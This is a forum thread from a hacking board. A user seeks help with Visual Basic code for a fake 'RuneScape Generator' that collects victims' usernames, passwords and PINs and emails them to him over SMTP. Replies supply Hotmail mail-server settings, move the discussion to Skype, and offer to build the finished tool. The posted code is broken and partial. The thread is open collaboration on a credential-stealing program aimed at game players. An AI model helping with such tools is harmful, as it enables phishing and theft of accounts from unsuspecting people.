Thread: [Visual Basic Keylogger](#)

Oden - March 18, 2012, 10:30 pm

Hey HackForums,

I'm trying to make an E-Mail sending keylogger. I want the layout in the email to be send like this

Quote:Username: Test

Password: Nolooky

Bank Pink: 0000

Amount: 50 Million

Here is my VB Code, and it isn't laying it out like that. It doesn't say anything but the last line. How can I change my code the the outcome in the email will look like the about.

Code:

```
Code Dim mail As New MailMessage()  
Dim SmtptServer As New SmtptClient  
SmtptServer.Credentials = New Net.NetworkCredential("", "")  
SmtptServer.Port = 587  
SmtptServer.Host = "smtp.gmail.com"  
SmtptServer.EnableSsl = True  
mail.To.Add("")  
mail.From = New MailAddress("")  
mail.Subject = ("RuneScape Generator - Password")  
mail.Body = TextBox1.Text // Username of Player  
mail.Body = TextBox2.Text // Password of Player  
mail.Body = NumericUpDown1.Value // First Numeric Box for Pin.  
mail.Body = NumericUpDown2.Value // Second Numeric Box for Pin.  
mail.Body = NumericUpDown3.Value // Third Numeric Box for Pin.  
mail.Body = NumericUpDown4.Value // Fourth Numeric Box for Pin.  
SmtptServer.Send(mail)
```

Note, I don't to use Gmail. I want to use hotmail, who has the server information?

UnknownValkyrie - March 18, 2012, 10:37 pm

HOTMAIL (Please see Windows Live Hotmail) hotmail.co.uk
hotmail (Please see Windows Live Hotmail) mx2.hotmail.com
Hotmail.com (Please see Windows Live Hotmail) mx2.hotmail.com
Hotmail.com (Please see Windows Live Hotmail) mx1.hotmail.com
Hotmail.com (Please see Windows Live Hotmail) mx1.hotmail.com
Windows Live Hotmail smtp.live.com

As other web based email services, Hotmail is using the HTTP protocol for connecting you to your mailbox. If you want to send and receive Hotmail emails using an email client software, then your software must support Hotmail HTTP access for your email account. Some email clients, such as Outlook Express or Microsoft Outlook, offer builtin support for Hotmail accounts, so you only have to select HTTP when you are asked to select your email account type and select Hotmail as the HTTP

Mail Service Provider.

Mail Server Settings for Hotmail using the Microsoft Outlook Connector

If you are using Microsoft Outlook & the Outlook Connector, you can define your Hotmail account just like any regular POP3 email account:

Hotmail Incoming Mail Server (POP3) - pop3.live.com (logon using Secure Password Authentication - SPA, mail server port: 995)

Hotmail Outgoing Mail Server (SMTP) - smtp.live.com (TLS enabled, port 587)

Thanks, so can you help me with when I receive the email?

UnknownValkyrie - March 18, 2012, 10:40 pm

uuhh... do you have skype dude? add me at my skype name: Unknown.Valkyrie

Oden - March 18, 2012, 11:44 pm

Added. You man, come on. So we can try and fix this.

killerxknight - March 18, 2012, 11:46 pm

This is not going to work it isn't logging any keystrokes so can't record the text.

UnknownValkyrie - March 19, 2012, 2:36 am

lol dude, thats only the email sending sub, not the whole program XD

programtesting28 - February 26, 2013, 6:52 am

its very hard to follow, i dont know about vb 6, how about vb.net, its more simple

t0rch - February 26, 2013, 6:55 am

Want me to make the program and send you a mediafire link? I can do this in a few moments..

stdio - February 26, 2013, 11:41 am

this should be moved to programming section. you will get more help there.

You might get a warning for posting etiquette.

wenotsped - February 26, 2013, 5:30 pm

Your code doesn't work because it just has the code for sending emails. There is no keystroke logger or anything else.
